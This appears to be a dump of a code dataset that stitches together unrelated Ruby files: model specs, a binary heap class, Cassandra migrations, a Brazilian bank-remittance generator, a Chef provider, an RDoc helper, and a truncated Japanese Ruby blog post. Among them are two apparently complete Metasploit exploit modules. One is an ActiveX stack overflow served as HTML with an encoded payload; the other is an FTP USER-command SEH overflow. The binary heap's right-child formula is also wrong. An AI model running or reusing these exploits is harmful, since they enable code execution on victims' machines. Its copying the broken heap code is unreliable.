hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
1804a9139335a32fdcd1baf91ea8b2ea02454b55 | 2,499 | require('spec_helper')
describe(Client) do
describe('#name') do
it('will return the name of the client') do
test_client = Client.new({:name => "John", :id => nil, :stylist_id => nil})
expect(test_client.name()).to(eq("John"))
end
end
describe('#id') do
it('will return the id of the client') do
test_client = Client.new({:name => "Jeff", :id => nil, :stylist_id => nil})
expect(test_client.id()).to(be_an_instance_of(Fixnum))
end
end
describe('#stylist_id') do
it('will return the stylist id of the client') do
test_client = Client.new({:name => "Jeff", :id => nil, :stylist_id => nil})
expect(test_client.stylist_id()).to(be_an_instance_of(Fixnum))
end
end
describe('#save') do
it("will save a client to the database") do
test_client = Client.new({:name => "Michael", :id => nil, :stylist_id => nil})
test_client.save()
expect(Client.all()).to(eq([test_client]))
end
end
describe('.all') do
it('will return a list of all of the clients') do
test_client = Client.new({:name => "Chris", :id => nil, :stylist_id => nil})
test_client.save()
expect(Client.all()).to(eq([test_client]))
end
end
describe('.find') do
it('will find a specific client based on their id') do
test_client = Client.new({:name => "Jennifer", :id => nil, :stylist_id => nil})
test_client.save()
expect(Client.find(test_client.id())).to(eq(test_client))
end
end
describe('#update') do
it('lets you update the client in the database') do
test_client = Client.new({:name => "Jeremy", :stylist_id => nil, :id => nil})
test_client.save()
test_client.update({:name => "Cody"})
expect(test_client.name()).to(eq("Cody"))
end
end
describe('#delete') do
it('lets you delete a client from the database') do
test_client = Client.new({:name => "Adam", :stylist_id => nil, :id => nil})
test_client.save()
test_client2 = Client.new({:name => "Brian", :stylist_id => nil, :id => nil})
test_client2.save()
test_client.delete()
expect(Client.all()).to(eq([test_client2]))
end
end
describe('#update_stylist') do
it('lets you update the stylist of a client') do
test_client = Client.new({:name => "John", :stylist_id => nil, :id => nil})
test_client.save()
test_client.update_stylist({:stylist_id => 5})
expect(test_client.stylist_id()).to(eq(5))
end
end
end
| 32.038462 | 85 | 0.613445 |
3953957789aa079e0b83488391eddab3b78d64a0 | 1,034 | # Implement a binary heap
class BinaryHeap
attr_accessor :size, :heap_array
def initialize
@size = 0
@heap_array = []
end
# returns the index of the parent of i if 0 < i < @size; otherwise returns -1
def parent(i)
if i <= 0 || i >= @size
return -1
else
return (i - 1) / 2
end
end
# returns the index of the left child of i if
def left_child(i)
left = (2 * i) + 1
if left >= @size
return -1
else
return left
end
end
# returns the index of the right child of i
def right_child(i)
right = 2 * (i + 2)
if right >= @size
return -1
else
return right
end
end
# returns the value of the left child of the element at index i
def left_child_key(i)
heap_array[2 * i + 1]
end
# returns the value of the right child of the element at index i
def right_child_key(i)
heap_array[2 * i + 2]
end
end
heap = BinaryHeap.new()
p heap.left_child(1) == -1
p heap.right_child(3) == -1
p heap.right_child_key(2) == nil | 18.8 | 79 | 0.605416 |
0842fd466356daf25e9f4b7e1a422a7f34be8b2c | 3,053 | ##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Facebook Photo Uploader 4 ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Facebook Photo Uploader 4.
By sending an overly long string to the "ExtractIptc()" property located
in the ImageUploader4.ocx (4.5.57.0) Control, an attacker may be able to execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-5711' ],
[ 'OSVDB', '41073' ],
[ 'BID', '27534' ],
[ 'URL', 'http://milw0rm.com/exploits/5049' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'IE 6 SP0-SP2 / Windows XP SP2 Pro English', { 'Ret' => 0x74c9de3e } ], # 02/07/08
], # ./msfpescan -i /tmp/oleacc.dll | grep SEHandler
'DisclosureDate' => 'Jan 31 2008',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
filler = Rex::Text.to_unescape(rand_text_alpha(2))
jmp = Rex::Text.to_unescape([0x969606eb].pack('V'))
ret = Rex::Text.to_unescape([target.ret].pack('V'))
sc = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Build out the message
content = %Q|<html>
<object classid='clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0' id='#{vname}'></object>
<script language='javascript'>
#{rand1} = unescape('#{filler}');
while (#{rand1}.length <= 261) #{rand1} = #{rand1} + unescape('#{filler}');
#{rand2} = unescape('#{jmp}');
#{rand3} = unescape('#{ret}');
#{rand4} = unescape('#{sc}');
#{strname} = #{rand1} + #{rand2} + #{rand3} + #{rand4};
#{vname}.ExtractIptc = #{strname};
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
| 28.268519 | 93 | 0.612512 |
38757040a6242bb04d31abc9b38cb24bcffb76ff | 3,633 | # encoding: utf-8
require 'cassandra_migrations/migration/table_definition'
module CassandraMigrations
class Migration
# Module grouping methods used in migrations to make table operations like:
# - creating tables
# - dropping tables
module TableOperations
# Creates a new table in the keyspace
#
# options:
# - :primary_keys: single value or array (for compound primary keys). If
# not defined, some column must be chosen as primary key in the table definition.
def create_table(table_name, options = {})
table_definition = TableDefinition.new
table_definition.define_primary_keys(options[:primary_keys]) if options[:primary_keys]
table_definition.define_partition_keys(options[:partition_keys]) if options[:partition_keys]
table_definition.define_options(options[:options]) if options[:options]
yield table_definition if block_given?
announce_operation "create_table(#{table_name})"
create_cql = "CREATE TABLE #{table_name} ("
create_cql << table_definition.to_create_cql
create_cql << ")"
create_cql << table_definition.options
announce_suboperation create_cql
execute create_cql
end
def alter_table(table_name, options={})
table_definition = TableDefinition.new
table_definition.define_options(options[:options]) if options[:options]
yield table_definition if block_given?
announce_operation "alter_table #{table_name}"
create_cql = "ALTER TABLE #{table_name}"
create_cql << table_definition.options
announce_suboperation create_cql
execute create_cql
end
def create_index(table_name, column_name, options = {})
announce_operation "create_index(#{table_name})"
create_index_cql = "CREATE INDEX #{options[:name]} ON #{table_name} (#{column_name})".squeeze(' ')
announce_suboperation create_index_cql
execute create_index_cql
end
# Drops a table
def drop_table(table_name)
announce_operation "drop_table(#{table_name})"
drop_cql = "DROP TABLE #{table_name}"
announce_suboperation drop_cql
execute drop_cql
end
def drop_index(table_or_index_name, column_name = nil, options = {})
if column_name
index_name = "#{table_or_index_name}_#{column_name}_idx"
else
index_name = table_or_index_name
end
drop_index_cql = "DROP INDEX #{options[:if_exists] ? 'IF EXISTS' : ''}#{index_name}"
announce_suboperation drop_index_cql
execute drop_index_cql
end
def if_table_exists?(table_name)
if table_exists?(table_name)
yield(table_name)
else
puts "table #{table_name} does not exist"
end
end
def unless_table_exists?(table_name)
unless table_exists?(table_name)
yield(table_name)
else
puts "table #{table_name} already exists"
end
end
def clustering_order_cql_for(table_schema)
table_schema.clustering_columns.map do |column|
"#{column.name} #{column.clustering_order}"
end.join(", ")
end
private
def table_exists?(table_name)
!execute(select_table_query(table_name)).empty?
end
def select_table_query(table_name)
<<~CQL
SELECT *
FROM system_schema.tables
WHERE keyspace_name = '#{Config.keyspace}'
AND table_name = '#{table_name}'
CQL
end
end
end
end
| 29.536585 | 106 | 0.654555 |
01b21566507a4aeaa89d6634c743b6ca38b0eb8d | 1,106 | module SmartAttributes
class AttributeFactory
extend ActiveSupport::Autoload
AUTO_MODULES_REX = /\Aauto_modules_([\w]+)\z/.freeze
class << self
# Build an attribute object from an id and its options
# @param id [#to_s] id of attribute
# @param opts [Hash] attribute options
# @return [Attribute] the attribute object
def build(id, opts = {})
id = id.to_s
if id.match?(AUTO_MODULES_REX)
hpc_mod = id.match(AUTO_MODULES_REX)[1]
id = 'auto_modules'
opts = opts.merge({'module' => hpc_mod})
end
path_to_attribute = "smart_attributes/attributes/#{id}"
begin
require path_to_attribute
rescue Gem::LoadError
raise Gem::LoadError, "Specified '#{id}' attribute, but the gem is not loaded."
rescue LoadError # ignore if file doesn't exist
nil
end
build_method = "build_#{id}"
if respond_to?(build_method)
send(build_method, opts)
else
Attribute.new(id, opts)
end
end
end
end
end
| 28.358974 | 89 | 0.596745 |
e223383732240a1fb0969eb29966ead5ca244e29 | 9,372 | # -*- encoding: utf-8 -*-
module Brcobranca
module Remessa
module Cnab400
class Unicred < Brcobranca::Remessa::Cnab400::Base
# codigo da beneficiario (informado pelo Unicred no cadastramento)
attr_accessor :codigo_beneficiario
validates_presence_of :agencia, :conta_corrente, :documento_cedente,
:digito_conta, :codigo_beneficiario,
message: "não pode estar em branco."
validates_length_of :agencia, maximum: 4,
message: "deve ter 4 dígitos."
validates_length_of :conta_corrente, maximum: 5,
message: "deve ter 5 dígitos."
validates_length_of :documento_cedente, minimum: 11, maximum: 14,
message: "deve ter entre 11 e 14 dígitos."
validates_length_of :carteira, maximum: 2,
message: "deve ter 2 dígitos."
validates_length_of :digito_conta, maximum: 1,
message: "deve ter 1 dígito."
validates_inclusion_of :carteira, in: %w(21),
message: "não existente para este banco."
# Nova instancia do Unicred
def initialize(campos = {})
campos = {
aceite: "N"
}.merge!(campos)
super(campos)
end
def agencia=(valor)
@agencia = valor.to_s.rjust(4, "0") if valor
end
def conta_corrente=(valor)
@conta_corrente = valor.to_s.rjust(5, "0") if valor
end
def carteira=(valor)
@carteira = valor.to_s.rjust(2, "0") if valor
end
def cod_banco
"136"
end
def nome_banco
"UNICRED".ljust(15, " ")
end
def identificador_complemento
" "
end
# Numero sequencial utilizado para identificar o boleto.
# @return [String] 10 caracteres numericos.
def nosso_numero(nosso_numero)
nosso_numero.to_s.rjust(10, "0")
end
# Digito verificador do nosso numero
# @return [Integer] 1 caracteres numericos.
def nosso_numero_dv(nosso_numero)
"#{nosso_numero}".modulo11(mapeamento: mapeamento_para_modulo_11)
end
def nosso_numero_boleto(nosso_numero)
"#{nosso_numero(nosso_numero)}#{nosso_numero_dv(nosso_numero)}"
end
# Retorna o nosso numero
#
# @return [String]
def formata_nosso_numero(nosso_numero)
"#{nosso_numero_boleto(nosso_numero)}"
end
def codigo_beneficiario=(valor)
@codigo_beneficiario = valor.to_s.rjust(20, "0") if valor
end
def info_conta
codigo_beneficiario
end
# Complemento do header
#
# @return [String]
#
def complemento
"codigo_beneficiario".rjust(277, " ")
end
def sequencial_remessa=(valor)
@sequencial_remessa = valor.to_s.rjust(7, "0") if valor
end
def digito_agencia
# utilizando a agencia com 4 digitos
# para calcular o digito
agencia.modulo11(mapeamento: { 10 => "X" }).to_s
end
def digito_conta
# utilizando a conta corrente com 5 digitos
# para calcular o digito
conta_corrente.modulo11(mapeamento: { 10 => "0" }).to_s
end
def mapeamento_para_modulo_11
{
10 => 0,
11 => 0
}
end
# Header do arquivo remessa
#
# @return [String]
#
def monta_header
# CAMPO TAMANHO VALOR
# tipo do registro [1] 0
# operacao [1] 1
# literal remessa [7] REMESSA
# Codigo do serviço [2] 01
# cod. servico [15] COBRANCA
# info. conta [20]
# empresa mae [30]
# cod. banco [3]
# nome banco [15]
# data geracao [6] formato DDMMAA
# branco [7]
# Codigo da Variacaoo carteira da UNICRED 003
# Preencher com 000. [3] 000
# Numero Sequencial do arquivo [7]
# complemento registro [277]
# num. sequencial [6] 000001
header = "01REMESSA01COBRANCA #{info_conta}"
header << "#{empresa_mae.format_size(30)}#{cod_banco}"
header << "#{nome_banco}#{data_geracao} 000"
header << "#{sequencial_remessa}#{complemento}000001"
header
end
# Detalhe do arquivo
#
# @param pagamento [PagamentoCnab400]
# objeto contendo as informacoes referentes ao
# boleto (valor, vencimento, cliente)
# @param sequencial
# num. sequencial do registro no arquivo
#
# @return [String]
#
def monta_detalhe(pagamento, sequencial)
raise Brcobranca::RemessaInvalida, pagamento if pagamento.invalid?
# identificacao transacao 9[01]
detalhe = "1"
# Agencia do BENEFICIARIO na UNICRED 9[05] 002 a 006
detalhe << agencia.rjust(5, "0")
# Digito da Agencia 9[01] 007 a 007
detalhe << digito_agencia
# Conta Corrente 9[12] 008 a 019
detalhe << conta_corrente.rjust(12, "0")
# Digito da Conta 9[1] 020 a 020
detalhe << digito_conta
# Zero 9[1] 021 a 021
detalhe << "0"
# Codigo da Carteira 9[3] 022 a 024
detalhe << carteira.rjust(3, "0")
# Zeros 9[13] 025 a 037
detalhe << "".rjust(13, "0")
# No Controle do Participante Uso
# da empresa 9[25] 038 a 062
detalhe << "".rjust(25, " ")
# Codigo do Banco na Camara de Compensacao 9[3] 063 a 065
detalhe << cod_banco
# Zeros 9[2] 066 a 067
detalhe << "00"
# Branco 9[25] 068 a 092
detalhe << "".rjust(25, " ")
# Filler 9[01] 093 a 093
detalhe << "0"
# Codigo da multa 9[1] 094 a 094
detalhe << pagamento.codigo_multa
# Valor/Percentual da Multa 9[1] 095 a 104
detalhe << pagamento.formata_percentual_multa(10)
# Tipo de Valor Mora 9[1] 105 a 105
detalhe << pagamento.tipo_mora
# Identificacao de Titulo Descontavel 9[1] 106 a 106
detalhe << "N"
# Branco 9[1] 107 a 108
detalhe << " "
# Identificacao da Ocorrencia 9[2] 109 a 110
detalhe << pagamento.identificacao_ocorrencia
# numero do documento X[10] 111 a 120
detalhe << pagamento.numero.to_s.rjust(10, "0")
# data do vencimento 9[06] 121 a 126
detalhe << pagamento.data_vencimento.strftime("%d%m%y")
# valor do documento 9[13] 127 a 139
detalhe << pagamento.formata_valor
# Filler 9[10] 140 a 149
detalhe << "".rjust(10, "0")
# Codigo do Desconto 9[1] 150 a 150
detalhe << pagamento.cod_desconto
# data de emissao 9[06] 151 a 156
detalhe << pagamento.data_emissao.strftime("%d%m%y")
# Filler 9[01] 157 a 157
detalhe << "0"
# Codigo para Protesto 9[1] 158 a 158
detalhe << pagamento.codigo_protesto
# numero de dias para protesto 9[02] 159 a 160
detalhe << pagamento.dias_protesto.rjust(2, "0")
# valor mora ao dia 9[13] 161 a 173
detalhe << pagamento.formata_valor_mora(13)
# data limite para desconto 9[06] 174 a 179
detalhe << pagamento.formata_data_desconto
# valor do desconto 9[13] 180 a 192
detalhe << pagamento.formata_valor_desconto
# nosso numero X[11] 193 a 203
detalhe << formata_nosso_numero(pagamento.nosso_numero)
# Zeros 9[2] 204 a 205
detalhe << "00"
# valor do abatimento 9[13] 206 a 218
detalhe << pagamento.formata_valor_abatimento(13)
# Identificacao do Tipo de Inscricao do Pagador 9[2] 219 a 220
detalhe << pagamento.identificacao_sacado
# documento do pagador 9[14] 221 a 234
detalhe << pagamento.documento_sacado.to_s.rjust(14, "0")
# nome do pagador X[40] 235 a 274
detalhe << pagamento.nome_sacado.format_size(40)
# endereco do pagador X[40] 275 a 314
detalhe << pagamento.endereco_sacado.format_size(40)
# bairro do pagador X[12] 315 a 326
detalhe << pagamento.bairro_sacado.format_size(12)
# cep do pagador 9[08] 327 a 334
detalhe << pagamento.cep_sacado
# cidade do pagador X[15] 335 a 354
detalhe << pagamento.cidade_sacado.format_size(20)
# uf do pagador X[02] 355 a 356
detalhe << pagamento.uf_sacado
# nome do sacador/avalista X[38] 357 a 394
detalhe << pagamento.nome_avalista.format_size(38)
# numero do registro no arquivo 9[06] 395 a 400
detalhe << sequencial.to_s.rjust(6, "0")
detalhe
end
end
end
end
end
| 36.046154 | 76 | 0.544494 |
e94d4dc0cdf0a6f3839723cff539fce966a0b538 | 232 | require 'rails_helper'
RSpec.describe ArticlesController, :type => :controller do
describe 'GET index' do
it 'returns http success' do
get :index
expect(response).to have_http_status(:success)
end
end
end
| 17.846154 | 58 | 0.698276 |
e9bf8eb58fb58dbea8e5fba6cff51d95f40ee3b0 | 2,875 | ##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'KarjaSoft Sami FTP Server v2.02 USER Overflow',
'Description' => %q{
This module exploits the KarjaSoft Sami FTP Server version 2.02
by sending an excessively long USER string. The stack is overwritten
when the administrator attempts to view the FTP logs. Therefore, this exploit
is passive and requires end-user interaction. Keep this in mind when selecting
payloads. When the server is restarted, it will re-execute the exploit until
the logfile is manually deleted via the file system.
},
'Author' => [ 'patrick' ],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Stance' => Msf::Exploit::Stance::Passive,
'References' =>
[
# This exploit appears to have been reported multiple times.
[ 'CVE', '2006-0441'],
[ 'CVE', '2006-2212'],
[ 'OSVDB', '25670'],
[ 'BID', '16370'],
[ 'BID', '22045'],
[ 'BID', '17835'],
[ 'URL', 'http://www.milw0rm.com/exploits/1448'],
[ 'URL', 'http://www.milw0rm.com/exploits/1452'],
[ 'URL', 'http://www.milw0rm.com/exploits/1462'],
[ 'URL', 'http://www.milw0rm.com/exploits/3127'],
[ 'URL', 'http://www.milw0rm.com/exploits/3140'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Platform' => ['win'],
'Privileged' => false,
'Payload' =>
{
'Space' => 300,
'BadChars' => "\x00\x0a\x0d\x20\xff",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll
[ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd11a9 } ], # p/p/r ws2help.dll
[ 'Windows 2000 Pro All - French', { 'Ret' => 0x74fa12bc } ], # p/p/r ws2help.dll
[ 'Windows XP SP0/1 - English', { 'Ret' => 0x71aa32ad } ], # p/p/r ws2help.dll
],
'DisclosureDate' => 'Jan 24 2006'))
register_options(
[
Opt::RPORT(21),
], self.class)
end
def check
connect
banner = sock.get(-1,3)
disconnect
if (banner =~ /Sami FTP Server 2.0.2/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
sploit = Rex::Text.rand_text_alphanumeric(596) + generate_seh_payload(target.ret)
login = "USER #{sploit}\r\n"
login << "PASS " + Rex::Text.rand_char(payload_badchars)
sock.put(login + "\r\n")
handler
disconnect
end
end
| 27.380952 | 87 | 0.617043 |
ffb426366891935e68c33f8f26f6054badd68b0d | 2,986 | #
# Copyright Peter Donald
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
include Chef::Asadmin
use_inline_resources
action :set do
service "glassfish-#{new_resource.domain_name}" do
supports :restart => true, :status => true
action :nothing
end
output = `#{asadmin_command('list-jvm-options', true, :terse => true, :echo => false)}`
# Work around bugs in 3.1.2.2
if node['glassfish']['version'] == '3.1.2.2'
existing = output.gsub(' ', '+').split("\n")
new_resource.options.each do |line|
unless existing.include?(line)
command = []
command << 'create-jvm-options'
command << asadmin_target_flag
command << encode_options([line])
bash "asadmin_create-jvm-option #{line}" do
timeout 150
user new_resource.system_user
group new_resource.system_group
code asadmin_command(command.join(' '))
notifies :restart, "service[glassfish-#{new_resource.domain_name}]", :delayed
end
end
end
existing.each do |line|
unless new_resource.options.include?(line)
command = []
command << 'delete-jvm-options'
command << asadmin_target_flag
command << encode_options([line])
bash "asadmin_delete-jvm-option #{line}" do
timeout 150
user new_resource.system_user
group new_resource.system_group
code asadmin_command(command.join(' '))
notifies :restart, "service[glassfish-#{new_resource.domain_name}]", :delayed
end
end
end
else
existing = output.split("\n")
existing_option_string = encode_options(existing)
new_option_string = encode_options(new_resource.options)
if existing_option_string != new_option_string
delete_command = []
delete_command << 'delete-jvm-options'
delete_command << existing_option_string
delete_command << asadmin_target_flag
create_command = []
create_command << 'create-jvm-options'
create_command << new_option_string
create_command << asadmin_target_flag
bash "asadmin_set-jvm-options #{new_resource.name}" do
timeout 150
user new_resource.system_user
group new_resource.system_group
code "#{asadmin_command(delete_command.join(' '))} && #{asadmin_command(create_command.join(' '))}"
notifies :restart, "service[glassfish-#{new_resource.domain_name}]", :immediate
end
end
end
end
| 31.765957 | 107 | 0.669792 |
e9b20d356a6d4f71308b35c0f389f61813d1df13 | 6,023 | require 'rubygems'
require 'rake'
require 'rdoc/rdoc'
module RDoc
class CodeInfo
class << self
def parse(wildcard_pattern = nil)
@info_for_corpus = parse_files(wildcard_pattern)
end
def for(constant)
new(constant).info
end
def info_for_corpus
raise RuntimeError, "You must first generate a corpus to search by using RDoc::CodeInfo.parse" unless @info_for_corpus
@info_for_corpus
end
def parsed_files
info_for_corpus.map {|info| info.file_absolute_name}
end
def files_to_parse
@files_to_parse ||= Rake::FileList.new
end
private
def parse_files(pattern)
files = pattern ? Rake::FileList[pattern] : files_to_parse
options = Options.instance
options.parse(files << '-q', RDoc::GENERATORS)
rdoc.send(:parse_files, options)
end
def rdoc
TopLevel.reset
rdoc = RDoc.new
stats = Stats.new
# We don't want any output so we'll override the print method
stats.instance_eval { def print; nil end }
rdoc.instance_variable_set(:@stats, stats)
rdoc
end
end
attr_reader :info
def initialize(location)
@location = CodeLocation.new(location)
find_constant
find_method if @location.has_method?
end
private
attr_reader :location
attr_writer :info
def find_constant
parts = location.namespace_parts
self.class.info_for_corpus.each do |file_info|
@info = parts.inject(file_info) do |result, const_part|
(result.find_module_named(const_part) || result.find_class_named(const_part)) || break
end
return if info
end
end
def find_method
return unless info
self.info = info.method_list.detect do |method_info|
next unless method_info.name == location.method_name
if location.class_method?
method_info.singleton
elsif location.instance_method?
!method_info.singleton
else
true
end
end
end
end
class CodeLocation
attr_reader :location
def initialize(location)
@location = location
end
def parts
location.split(/::|\.|#/)
end
def namespace_parts
has_method? ? parts[0...-1] : parts
end
def has_method?
('a'..'z').include?(parts.last[0, 1])
end
def instance_method?
!location['#'].nil?
end
def class_method?
has_method? && !location[/#|\./]
end
def method_name
parts.last if has_method?
end
end
end
if __FILE__ == $0
require 'test/unit'
class CodeInfoTest < Test::Unit::TestCase
def setup
RDoc::CodeInfo.parse(__FILE__)
end
def test_constant_lookup
assert RDoc::CodeInfo.for('RDoc')
info = RDoc::CodeInfo.for('RDoc::CodeInfo')
assert_equal 'CodeInfo', info.name
end
def test_method_lookup
{'RDoc::CodeInfo.parse' => true,
'RDoc::CodeInfo::parse' => true,
'RDoc::CodeInfo#parse' => false,
'RDoc::CodeInfo.find_method' => true,
'RDoc::CodeInfo::find_method' => false,
'RDoc::CodeInfo#find_method' => true,
'RDoc::CodeInfo#no_such_method' => false,
'RDoc::NoSuchConst#foo' => false}.each do |location, result_of_lookup|
assert_equal result_of_lookup, !RDoc::CodeInfo.for(location).nil?
end
end
end
class CodeLocationTest < Test::Unit::TestCase
def test_parts
{'Foo' => %w(Foo),
'Foo::Bar' => %w(Foo Bar),
'Foo::Bar#baz' => %w(Foo Bar baz),
'Foo::Bar.baz' => %w(Foo Bar baz),
'Foo::Bar::baz' => %w(Foo Bar baz),
'Foo::Bar::Baz' => %w(Foo Bar Baz)}.each do |location, parts|
assert_equal parts, RDoc::CodeLocation.new(location).parts
end
end
def test_namespace_parts
{'Foo' => %w(Foo),
'Foo::Bar' => %w(Foo Bar),
'Foo::Bar#baz' => %w(Foo Bar),
'Foo::Bar.baz' => %w(Foo Bar),
'Foo::Bar::baz' => %w(Foo Bar),
'Foo::Bar::Baz' => %w(Foo Bar Baz)}.each do |location, namespace_parts|
assert_equal namespace_parts, RDoc::CodeLocation.new(location).namespace_parts
end
end
def test_has_method?
{'Foo' => false,
'Foo::Bar' => false,
'Foo::Bar#baz' => true,
'Foo::Bar.baz' => true,
'Foo::Bar::baz' => true,
'Foo::Bar::Baz' => false}.each do |location, has_method_result|
assert_equal has_method_result, RDoc::CodeLocation.new(location).has_method?
end
end
def test_instance_method?
{'Foo' => false,
'Foo::Bar' => false,
'Foo::Bar#baz' => true,
'Foo::Bar.baz' => false,
'Foo::Bar::baz' => false,
'Foo::Bar::Baz' => false}.each do |location, is_instance_method|
assert_equal is_instance_method, RDoc::CodeLocation.new(location).instance_method?
end
end
def test_class_method?
{'Foo' => false,
'Foo::Bar' => false,
'Foo::Bar#baz' => false,
'Foo::Bar.baz' => false,
'Foo::Bar::baz' => true,
'Foo::Bar::Baz' => false}.each do |location, is_class_method|
assert_equal is_class_method, RDoc::CodeLocation.new(location).class_method?
end
end
def test_method_name
{'Foo' => nil,
'Foo::Bar' => nil,
'Foo::Bar#baz' => 'baz',
'Foo::Bar.baz' => 'baz',
'Foo::Bar::baz' => 'baz',
'Foo::Bar::Baz' => nil}.each do |location, method_name|
assert_equal method_name, RDoc::CodeLocation.new(location).method_name
end
end
end
end | 28.545024 | 126 | 0.558028 |
f868d1746caa90de515f0a53f025d7f3293babd3 | 14,749 |
ENDLESS X
=========
GAE+DJANGO
----------
* Home
* Blog
Sign
----
Login
Labels
------
1981s ActionScript Ajax Apache CodeIgniter Django FULLTEXT Fedora Flex Free GoogleAppEngine Gundam HeavyMetal Information Ludia Mac Mecab Mobile
Music MySQL Objective-C PHP PostgreSQL Python RSS Ruby RubyonRails SEO SVN Senna Ski Stock Trac Twisted Ubuntu UpdatePing UserAgent comedy free
iPhoneFix iPhoneSDK iPodTouch imagemagick lxml mod_wsgi pyspa shell tritonn
Hits:5 ... 1
対話シェル
-----
個人メモ
自分はよくPythonを使っているとき,Pythonシェル(ipythonなど)で dir関数を使って中身を片っ端から覗いて,さらにhelp関数で使用方法を確認したりしていた.
Rubyの場合はどうやるんだろと調べてみた.( toshi78 さんにも協力していただいちゃいました.ありがとうございます.) Rubyシェル(irb)で Object.methods とやるとオブジェクトが持つメソッドを見ることができた.ん~とりあえずこれでいいかな!?
ほんで,help関数にあたるモノを探すと refe というのをインストールするとRubyのリファレンスからエントリを引っ張ることができるとのこと. では早速,
~>
$ sudo /usr/local/ruby/bin/gem install refe
<~
インストールできたようなので実験
~>
$ refe String concat
String#concat
--- self << other
--- concat(other)
文字列 other の内容を self に連結します。
other が 0 から 255 の範囲の Fixnum である場合は
その 1 バイトを末尾に追加します。
self を返します。
<~
と成功すればOK! が,俺の場合上記のようにうまく行かなかった…文字化けした…. 文字化けは下記のように修正して成功. 参考サイト : http://d.hatena.ne.jp/nagaton/20060914/1158247239
~>
$ sudo vi /usr/local/ruby/lib/ruby/gems/1.8/gems/refe-0.8.0.3/lib/refe/searcher.rb
def adjust_encoding( str )
if shift_jis_platform?
NKF.nkf('-Es', str)
else
str
end
end
# の部分を下記のように修正
def adjust_encoding( str )
NKF.nkf('-w', str)
#if shift_jis_platform?
# NKF.nkf('-Es', str)
#else
# str
#end
end
<~
おーよかったよかった….しかし,この refe って Rubyシェル内で使えないじゃんか! ということで,さらに .irbrc に下記を追記. 参考サイト : http://d.hatena.ne.jp/secondlife/20051114/1131894899
~>
# 補完を有効
require 'irb/completion'
module Kernel
def r(arg)
puts `refe #{arg}`
end
private :r
end
class Module
def r(meth = nil)
if meth
if instance_methods(false).include? meth.to_s
puts `refe #{self}##{meth}`
else
super
end
else
puts `refe #{self}`
end
end
end
<~
では,早速..
~>
$ irb
>> Array.r :inspect
Array < Object#inspect
--- inspect
オブジェクトを人間が読める形式に変換した文字列を返します。
組み込み関数 p は、このメソッドの結果を使用して
オブジェクトを表示します。
=> nil
<~
出来たみたい!
でも…,これってRubyのリファレンスから引っ張ってきているだけなので….Pythonのhelp関数とは違う….
もちろん,Railsのコンソール起動(./script/console)でRailsのモデルのリファレンスがひけるわけがない…. ん~Railsではないのかなぁ~. Pythonのhelpって便利なんだよなぁ~.
[Ruby]
2008/02/13 17:41 | Comments(1000)
Railsに挑戦
--------
とりあえず,単純な登録/閲覧/更新/削除/コメントができるBLOGを作成してみた. これを通して,migrationでDB管理して遊んでみたり,モデル操作を遊んでみたりした.migrationは気持ちよいね. ん〜書き方もまだ何が正しいかわからないです.
そんなcontrollerのソースがこれ↓. なんだかーこれだと無駄が多いような気がする. 色んなサンプル見てみないといけないっすね!!
~>
class BlogController < ApplicationController
def index
self.list
render :action => 'list'
end
verify :method => :post, :only => [:create, :update],
:redirect_to => { :action => :list }
def list
@title = 'BLOG LIST'
@blog_pages, @blogs = paginate(
:blog_blogs,
:per_page => 5,
:conditions => "is_active = true",
:order => "created_at DESC"
)
end
def show
begin
@blog = BlogBlog.find(
@params[:id],
:conditions => "is_active = true"
)
@title = @blog.title
@comment = BlogComment.new
rescue ActiveRecord::RecordNotFound
redirect_to '/404.html'
end
end
def new
@title = 'NEW BLOG'
@blog = BlogBlog.new()
end
def create
